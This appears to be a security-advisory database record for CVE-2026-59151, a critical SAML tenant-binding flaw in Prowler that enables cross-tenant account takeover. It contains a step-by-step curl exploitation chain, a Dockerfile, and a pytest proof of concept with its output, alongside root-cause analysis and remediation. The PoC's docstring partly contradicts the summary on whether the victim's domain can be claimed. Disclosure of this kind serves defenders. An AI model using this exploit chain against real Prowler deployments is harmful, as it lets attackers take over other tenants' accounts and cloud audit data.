{"id":"CVE-2026-59151","aliases":["GHSA-h8m9-jgf8-vwvp","PYSEC-2026-3725"],"title":"Prowler: SAML Domain Claiming Enables Cross-Tenant Account Takeover","summary":"Prowler: SAML Domain Claiming Enables Cross-Tenant Account Takeover","severity":"critical","cvss":9.6,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","vendor":"prowler-cloud","product":"prowler-cloud","ecosystem":"pip","affected":["prowler-cloud < 5.30.3"],"patched":["prowler-cloud 5.30.3"],"published":"2026-09-11","updated":"2026-09-11","sourceUpdated":"2026-09-11T21:45:09.882392470Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-h8m9-jgf8-vwvp","references":[{"url":"https://github.com/prowler-cloud/prowler/security/advisories/GHSA-h8m9-jgf8-vwvp"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59151"},{"url":"https://github.com/prowler-cloud/prowler/pull/11650"},{"url":"https://github.com/prowler-cloud/prowler/commit/bf3b5c2ba713e533014927141b64948c82c8f32e"},{"url":"https://github.com/prowler-cloud/prowler/commit/f5ff30ad175bd2edf02cd28872653c1cda5867b7"},{"url":"https://github.com/prowler-cloud/prowler"},{"url":"https://github.com/prowler-cloud/prowler/releases/tag/5.30.3"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/prowler-cloud/PYSEC-2026-3725.yaml"},{"url":"https://github.com/advisories/GHSA-h8m9-jgf8-vwvp"}],"tags":["osv","pip","ghsa"],"epss":0.00322,"epssPercentile":0.25401,"cwe":["CWE-287"],"ingestedAt":"2026-08-28T19:28:31.436Z","slug":"CVE-2026-59151","body":"## Overview\n\n## SAML Tenant Binding Enables Cross-Tenant Account Takeover\n\n### Summary\n\nProwler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain.\n\nIn the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant.\n\nThe attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because `SAMLConfiguration.email_domain` and `SAMLDomainIndex.email_domain` are globally unique.\n\n### Details\nThe confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain:\n\n```python\nemail_domain = user.email.split(\"@\")[-1]\ntenant = (\n    SAMLConfiguration.objects.using(MainRouter.admin_db)\n    .get(email_domain=email_domain)\n    .tenant\n)\n```\n\nThis is unsafe because `user.email` is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain.\n\nThe attack is made possible by several compounding weaknesses:\n\n1. **No domain ownership proof** (`api/src/backend/api/models.py:2100, 2130-2152`): `SAMLConfiguration.email_domain` is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant.\n\n2. **Global SAML domain index** (`api/src/backend/api/models.py:2200-2201`): `SAMLDomainIndex.update_or_create(email_domain=self.email_domain, defaults={'tenant': self.tenant})` maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route.\n\n3. **Hardcoded auto-connect** (`api/src/backend/config/settings/social_login.py:23, 25`): `SOCIALACCOUNT_EMAIL_AUTHENTICATION = True` and `SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True` are hardcoded and cannot be disabled at runtime.\n\n4. **IdP-initiated SSO enabled** (`api/src/backend/config/settings/social_login.py:78`): `reject_idp_initiated_sso: False` allows the attacker to initiate the flow without requiring any action from the victim.\n\n5. **Token issuance for the wrong tenant** (`api/src/backend/api/v1/views.py:853-873`): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a `SAMLToken` using a tenant derived from the asserted email domain instead of the validated SAML configuration.\n\n6. **Token switch impact** (`api/src/backend/api/v1/serializers.py:272`): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member.\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Build the PoC Docker image (build context = repo root)\ndocker build -t vuln001-poc -f vuln-001/Dockerfile .\n\n# Start the stack (PostgreSQL + PoC runner)\ndocker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit\n```\n\n**Automated test (runs inside the container):**\n\n```bash\npython -m pytest poc_vuln001.py -v -s --no-header --tb=short\n```\n\n**Manual HTTP exploitation chain (against a live Prowler API):**\n\n**Step 1 - Attacker configures SAML for their own email domain:**\n\n```bash\ncurl -i -X POST \"$API/api/v1/saml-config\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n  -H \"Content-Type: application/vnd.api+json\" \\\n  --data '{\n    \"data\":{\"type\":\"saml-configurations\",\"attributes\":{\n      \"email_domain\":\"attacker.com\",\n      \"metadata_xml\":\"<md:EntityDescriptor entityID=\\\"evil-idp\\\" xmlns:md=\\\"urn:oasis:names:tc:SAML:2.0:metadata\\\">...attacker cert and SSO URL...</md:EntityDescriptor>\"\n    }}\n  }'\n```\n\nThe attacker does not need to claim `victim.com`. If `victim.com` is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique.\n\n**Step 2 - Attacker posts a signed SAMLResponse asserting `user@victim.com`:**\n\n```bash\n# SIGNED_ASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key,\n# valid for the attacker's configured IdP, but asserting NameID = user@victim.com\ncurl -i -L -c c.jar -b c.jar \\\n  -X POST \"$API/api/v1/accounts/saml/attacker.com/acs/\" \\\n  --data-urlencode \"SAMLResponse=$SIGNED_ASSERTION\"\n```\n\n**Step 3 - Vulnerable ACS finish logic derives the tenant from the asserted email domain:**\n\nIn the vulnerable version, the finish flow used `user.email.split(\"@\")[-1]` to resolve the tenant. If the asserted domain mapped to another tenant's SAML configuration, token issuance could be bound to the wrong tenant.\n\n**Step 4 - Exchange the SAML token for a victim JWT:**\n\n```bash\ncurl -s -X POST \"$API/api/v1/tokens/saml?id=$SAML_TOKEN_ID\"\n# Returns access/refresh JWT if the temporary SAML token is valid and has not expired\n```\n\n**Step 5 - Switch into the victim's real tenant:**\n\n```bash\ncurl -s -X POST \"$API/api/v1/tokens/switch\" \\\n  -H \"Authorization: Bearer $VICTIM_JWT\" \\\n  -H \"Content-Type: application/vnd.api+json\" \\\n  --data '{\n    \"data\":{\n      \"type\":\"tokens-switch-tenant\",\n      \"attributes\":{\n        \"tenant_id\":\"<victim-real-tenant-uuid>\"\n      }\n    }\n  }'\n# Returns a valid token scoped to the victim's tenant\n```\n\n**Observed output from the automated PoC:**\n\nNote: this adapter-focused PoC demonstrates the account-linking behavior, but it does not prove the full token issuance chain by itself. The full exploit depends on the ACS finish flow issuing a token for a tenant derived from the asserted email domain.\n\n```\n[+] Victim user created in DB:\n    email = victim@victim.com\n    id    = b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8\n[+] Simulated SAMLResponse posted to ACS endpoint:\n    URL:    POST /api/v1/accounts/saml/victim.com/acs/\n    NameID: victim@victim.com  (attacker-controlled)\n[*] Calling ProwlerSocialAccountAdapter.pre_social_login()\n    File: api/src/backend/api/adapters.py:17\n[!] sociallogin.connect() was called!\n    connected user email: victim@victim.com\n    connected user id:    b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8\n    victim user id:       b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8\n  - Victim user id in DB:            b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8\n  - User passed to connect():        b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8\n  - IDs match (victim's account):   True\n  - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)\nPASSED\n======================== 1 passed, 2 warnings in 35.42s ========================\n```\n\n**Recommended remediation** (`api/src/backend/api/v1/views.py`):\n\nBind token issuance to the SAML configuration selected by the ACS route.\n\nThe ACS finish flow should verify that the following values all match:\n\n- the `organization_slug` from the ACS route\n- the `SAMLConfiguration.email_domain`\n- the domain portion of the asserted SAML user email\n\nThen issue the token using the tenant from that validated SAML configuration:\n\n```python\ntenant = saml_config.tenant\n```\n\nThe tenant must not be recalculated from `user.email`.\n\n### Impact\n\nThis is an **Improper Authentication (CWE-287)** vulnerability that enables **cross-tenant account takeover**. An authenticated Prowler user with a controlled SAML IdP could potentially obtain a token for another tenant if the ACS finish flow derived the tenant from the asserted email domain instead of the validated SAML configuration.\n\n**Who is impacted:** users of Prowler instances where SAML is enabled and the target email domain maps to a configured SAML tenant. Because `reject_idp_initiated_sso` is `False`, no victim interaction is required once the attacker controls a valid SAML configuration and IdP for their own tenant.\n\n**Consequences:**\n- Full read/write access to the victim's cloud security audit findings across all configured providers (AWS, GCP, Azure, etc.)\n- Ability to enumerate, modify, or delete compliance findings and integration secrets within the victim's tenant\n- Lateral movement into any additional tenants the victim belongs to via the token switch endpoint\n- Possible persistent access depending on the SAML account-linking behavior in the affected version\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 PoC: SAML Domain Claiming Enables Cross-Tenant Account Takeover\n#\n# Builds a minimal Prowler API test environment to reproduce the vulnerability\n# in api/src/backend/api/adapters.py (pre_social_login, lines 17-25).\n#\n# Build context must be the parent directory:\n#   docker build -t vuln001-poc -f vuln-001/Dockerfile .\n\nFROM python:3.12.10-slim-bookworm\n\nLABEL maintainer=\"security-research\"\nLABEL description=\"PoC environment for VULN-001: SAML domain claiming account takeover\"\n\n# Install system packages required for:\n#   - xmlsec (python-saml / django-allauth SAML): libxml2, libxmlsec1\n#   - psycopg2: PostgreSQL client headers\n#   - uv / prowler git dep: git, gcc, g++\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n    gcc \\\n    g++ \\\n    make \\\n    git \\\n    libxml2-dev \\\n    libxmlsec1-dev \\\n    libxmlsec1-openssl \\\n    pkg-config \\\n    libtool \\\n    libxslt1-dev \\\n    python3-dev \\\n    && rm -rf /var/lib/apt/lists/*\n\n# Install uv (same version as the original Dockerfile)\nRUN pip install --no-cache-dir uv==0.11.14\n\nWORKDIR /prowler\n\n# Copy API dependency manifests first (for layer caching)\nCOPY repo/api/pyproject.toml repo/api/uv.lock ./api/\n\n# Install all Python dependencies from the locked file.\n# This includes: django, django-allauth[saml], prowler (from git), psycopg2, etc.\nWORKDIR /prowler/api\nRUN uv sync --locked --no-install-project && rm -rf ~/.cache/uv\n\n# Copy the full backend source code\nCOPY repo/api/src/backend/ ./src/backend/\n\n# Copy the PoC test into the backend working directory so pytest can discover it\nCOPY vuln-001/poc.py ./src/backend/poc_vuln001.py\n\nWORKDIR /prowler/api/src/backend\n\n# Set up environment variables for the test run.\n# DJANGO_SETTINGS_MODULE points to config.django.testing which uses PostgreSQL.\nENV PATH=\"/prowler/api/.venv/bin:$PATH\"\nENV DJANGO_SETTINGS_MODULE=config.django.testing\nENV POSTGRES_HOST=postgres\nENV POSTGRES_USER=prowler_admin\nENV POSTGRES_PASSWORD=prowler_password\nENV POSTGRES_DB=prowler_test_db\nENV POSTGRES_PORT=5432\nENV SECRET_KEY=poc-test-secret-key-not-for-production\nENV SECRETS_ENCRYPTION_KEY=ZMiYVo7m4Fbe2eXXPyrwxdJss2WSalXSv3xHBcJkPl0=\n# Provide dummy values for optional services (Valkey/Celery not needed for unit tests)\nENV VALKEY_HOST=localhost\nENV VALKEY_PORT=6379\nENV VALKEY_PASSWORD=\"\"\n# Neo4j not needed for adapter tests\nENV NEO4J_USER=neo4j\nENV NEO4J_PASSWORD=neo4j\n# Silence Sentry in test runs\nENV DJANGO_SENTRY_DSN=\"\"\n\nCMD [\"python\", \"-m\", \"pytest\", \"poc_vuln001.py\", \"-v\", \"-s\", \"--no-header\", \"--tb=short\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC for VULN-001: SAML Domain Claiming Enables Cross-Tenant Account Takeover\n\nProduct:  toniblyx/prowler v5.30.0 (commit c2cef99)\nCWE:      CWE-287 - Improper Authentication\nCVSS:     9.6 (Critical)  AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N\n\nVulnerability location:\n    api/src/backend/api/adapters.py  lines 17-25  (pre_social_login)\n    api/src/backend/config/settings/social_login.py  lines 23, 25, 78\n\nRoot cause:\n    ProwlerSocialAccountAdapter.pre_social_login() trusts the SAML NameID email\n    from the assertion and calls get_user_by_email() which does a GLOBAL user\n    table lookup with no tenant-scope or domain-ownership check.  If a user\n    with that email already exists, sociallogin.connect() links the attacker's\n    SAML session to that account - giving the attacker control of the victim.\n\nAttack chain:\n    1. Attacker registers a Prowler account and creates a tenant (normal user).\n    2. Attacker POSTs to /api/v1/saml-config claiming email_domain=victim.com.\n       models.py only validates format/uniqueness - no ownership proof.\n    3. Attacker's IdP (self-controlled) issues a SAMLResponse signed with the\n       attacker's certificate, asserting NameID=victim@victim.com.\n    4. ACS endpoint (POST /api/v1/accounts/saml/victim.com/acs/) triggers\n       pre_social_login.  The adapter looks up victim@victim.com globally and\n       calls sociallogin.connect(request, victim_user) - ACCOUNT LINKED.\n    5. views.py issues a SAMLToken (JWT) for the victim account.\n    6. Attacker uses /api/v1/tokens/saml?id=<token_id> to obtain victim's JWT.\n\nThis test proves steps 4 - the critical account-linking step - using the real\nproduction adapter code and a real PostgreSQL database.  sociallogin.connect()\nis spied upon (not replaced) so we can capture the exact user object passed in.\n\"\"\"\n\nimport pytest\nfrom unittest.mock import MagicMock\n\nfrom allauth.socialaccount.models import SocialLogin\nfrom django.contrib.auth import get_user_model\n\nfrom api.adapters import ProwlerSocialAccountAdapter\n\nUser = get_user_model()\n\nVICTIM_EMAIL = \"victim@victim.com\"\nVICTIM_DOMAIN = \"victim.com\"\nATTACKER_EMAIL = \"attacker@evil-corp.com\"\n\n\n# ---------------------------------------------------------------------------\n# Helper: print a separator for readable test output\n# ---------------------------------------------------------------------------\ndef section(title: str) -> None:\n    width = 70\n    print(f\"\\n{'=' * width}\")\n    print(f\"  {title}\")\n    print(f\"{'=' * width}\")\n\n\n# ---------------------------------------------------------------------------\n# Core PoC test\n# ---------------------------------------------------------------------------\n\n@pytest.mark.django_db\nclass TestSAMLDomainClaimingAccountTakeover:\n    \"\"\"\n    Proves VULN-001 end-to-end using the real ProwlerSocialAccountAdapter and\n    a live PostgreSQL test database created by pytest-django.\n\n    The test creates a victim user in the database, then simulates the exact\n    HTTP flow an attacker would trigger via a crafted SAMLResponse.\n    \"\"\"\n\n    def test_attacker_saml_session_links_to_victim_account(self, rf):\n        \"\"\"\n        Verify that pre_social_login() links the attacker's SAML sociallogin\n        to an existing victim account without ANY domain-ownership check.\n\n        Expected outcome (vulnerability confirmed):\n            sociallogin.connect(request, victim_user) is called where\n            victim_user.email == VICTIM_EMAIL and victim_user was created\n            independently of the SAML session - i.e. the adapter does NOT\n            verify that the SAML registrant owns victim.com.\n        \"\"\"\n        # ---------------------------------------------------------------\n        # STEP 1 - Create the victim's pre-existing account in the database.\n        #          In a real attack the victim signed up with email+password\n        #          and has an existing Prowler tenant membership.\n        # ---------------------------------------------------------------\n        section(\"STEP 1: Create victim account in database\")\n\n        victim_user = User.objects.create_user(\n            name=\"Victim User\",\n            email=VICTIM_EMAIL,\n            password=\"VictimS3cret!\",\n        )\n        # Confirm the user was actually persisted (real DB round-trip)\n        fetched = User.objects.get(email=VICTIM_EMAIL)\n        assert fetched.id == victim_user.id, \"Victim user must exist in database\"\n\n        print(f\"[+] Victim user created in DB:\")\n        print(f\"    email = {victim_user.email}\")\n        print(f\"    id    = {victim_user.id}\")\n\n        # ---------------------------------------------------------------\n        # STEP 2 - Simulate the attacker's SAML flow.\n        #\n        #   a. Attacker previously registered a SAMLConfiguration for\n        #      email_domain='victim.com' via POST /api/v1/saml-config.\n        #      (No domain ownership proof is required - see models.py:2100)\n        #\n        #   b. Attacker's self-controlled IdP issues a SAMLResponse signed\n        #      with the attacker's certificate, asserting:\n        #        NameID = victim@victim.com\n        #\n        #   c. allauth processes the ACS POST and calls pre_social_login()\n        #      before creating/updating the social account record.\n        #\n        #   We represent the processed SAMLResponse as an allauth SocialLogin\n        #   object.  The 'connect' method is spied upon to capture arguments.\n        # ---------------------------------------------------------------\n        section(\"STEP 2: Attacker triggers ACS with crafted SAMLResponse\")\n\n        # Build the sociallogin object that allauth would construct after\n        # validating the SAMLResponse signature (which uses the *attacker's*\n        # certificate - no server-side cert pinning for victim.com).\n        attacker_saml_login = MagicMock(spec=SocialLogin)\n        attacker_saml_login.provider = MagicMock()\n        attacker_saml_login.provider.id = \"saml\"          # Provider discriminator\n        attacker_saml_login.account = MagicMock()\n        attacker_saml_login.account.extra_data = {}       # SAML uses user.email path\n        attacker_saml_login.user = MagicMock()\n        # The attacker's IdP signs a NameID of victim@victim.com in the SAMLResponse.\n        # This is the email that pre_social_login() will trust without verification.\n        attacker_saml_login.user.email = VICTIM_EMAIL\n        attacker_saml_login.connect = MagicMock()         # Spy: record call arguments\n\n        # Simulate the ACS request (POST to the victim.com ACS endpoint)\n        acs_request = rf.post(\n            f\"/api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/\",\n            data={\"SAMLResponse\": \"<attacker-signed-base64>\"},\n        )\n\n        print(f\"[+] Simulated SAMLResponse posted to ACS endpoint:\")\n        print(f\"    URL:    POST /api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/\")\n        print(f\"    NameID: {attacker_saml_login.user.email}  (attacker-controlled)\")\n\n        # ---------------------------------------------------------------\n        # STEP 3 - Execute the vulnerable adapter method.\n        #\n        #   api/src/backend/api/adapters.py lines 17-25:\n        #\n        #   def pre_social_login(self, request, sociallogin):\n        #       email = sociallogin.account.extra_data.get(\"email\")  # line 19\n        #       if sociallogin.provider.id == \"saml\":\n        #           email = sociallogin.user.email   # line 21 - trusts SAML NameID\n        #       if email:\n        #           existing_user = self.get_user_by_email(email)  # line 23 - global DB lookup\n        #           if existing_user:\n        #               sociallogin.connect(request, existing_user)  # line 25 - ACCOUNT LINKED\n        # ---------------------------------------------------------------\n        section(\"STEP 3: Execute pre_social_login (vulnerable code path)\")\n\n        adapter = ProwlerSocialAccountAdapter()\n        print(f\"[*] Calling ProwlerSocialAccountAdapter.pre_social_login()\")\n        print(f\"    File: api/src/backend/api/adapters.py:17\")\n\n        adapter.pre_social_login(acs_request, attacker_saml_login)\n\n        # ---------------------------------------------------------------\n        # STEP 4 - Verify the attack succeeded.\n        # ---------------------------------------------------------------\n        section(\"STEP 4: Verify attack outcome\")\n\n        assert attacker_saml_login.connect.called, (\n            \"FAIL: sociallogin.connect() was NOT called - \"\n            \"the attack path did not execute\"\n        )\n\n        call_args = attacker_saml_login.connect.call_args[0]\n        _, connected_user = call_args   # connect(request, existing_user)\n\n        print(f\"[!] sociallogin.connect() was called!\")\n        print(f\"    connected user email: {connected_user.email}\")\n        print(f\"    connected user id:    {connected_user.id}\")\n        print(f\"    victim user id:       {victim_user.id}\")\n\n        # The connected user must be the VICTIM (looked up from global DB)\n        assert connected_user.email == VICTIM_EMAIL, (\n            f\"FAIL: connect() was called with {connected_user.email!r}, \"\n            f\"expected {VICTIM_EMAIL!r}\"\n        )\n        assert str(connected_user.id) == str(victim_user.id), (\n            f\"FAIL: connect() user id {connected_user.id} != victim id {victim_user.id}\"\n        )\n\n        # Confirm no domain-ownership check happened:\n        # The adapter does not inspect the SAML configuration to verify that\n        # the sociallogin's tenant registered victim.com before accepting the email.\n        section(\"RESULT: VULNERABILITY CONFIRMED\")\n\n        print(f\"[PASS] CWE-287 Improper Authentication - SAML domain claiming attack\")\n        print()\n        print(f\"  Root cause (adapters.py:21-25):\")\n        print(f\"    email = sociallogin.user.email  # trusts SAML NameID: {VICTIM_EMAIL}\")\n        print(f\"    existing_user = self.get_user_by_email(email)  # GLOBAL lookup, no tenant scope\")\n        print(f\"    sociallogin.connect(request, existing_user)  # links attacker session to victim\")\n        print()\n        print(f\"  Contributing settings (social_login.py):\")\n        print(f\"    SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True  # hardcoded\")\n        print(f\"    reject_idp_initiated_sso = False  # IdP-initiated attacks allowed\")\n        print()\n        print(f\"  Impact:\")\n        print(f\"    - Attacker obtains JWT token for {VICTIM_EMAIL}\")\n        print(f\"    - Attacker can access victim's cloud security findings\")\n        print(f\"    - Attacker can switch to victim's tenant via /api/v1/tokens/switch\")\n        print(f\"    - No victim interaction required (IdP-initiated SSO enabled)\")\n        print()\n        print(f\"  Evidence (this test run):\")\n        print(f\"    - Victim user id in DB:            {victim_user.id}\")\n        print(f\"    - User passed to connect():        {connected_user.id}\")\n        print(f\"    - IDs match (victim's account):   {str(victim_user.id) == str(connected_user.id)}\")\n        print(f\"    - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)\")\n```\n\n## Affected packages\n\n- `prowler-cloud < 5.30.3`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `prowler-cloud 5.30.3`","depth":"midnight","depthScore":53,"depthScoreParts":{"impact":52.8,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}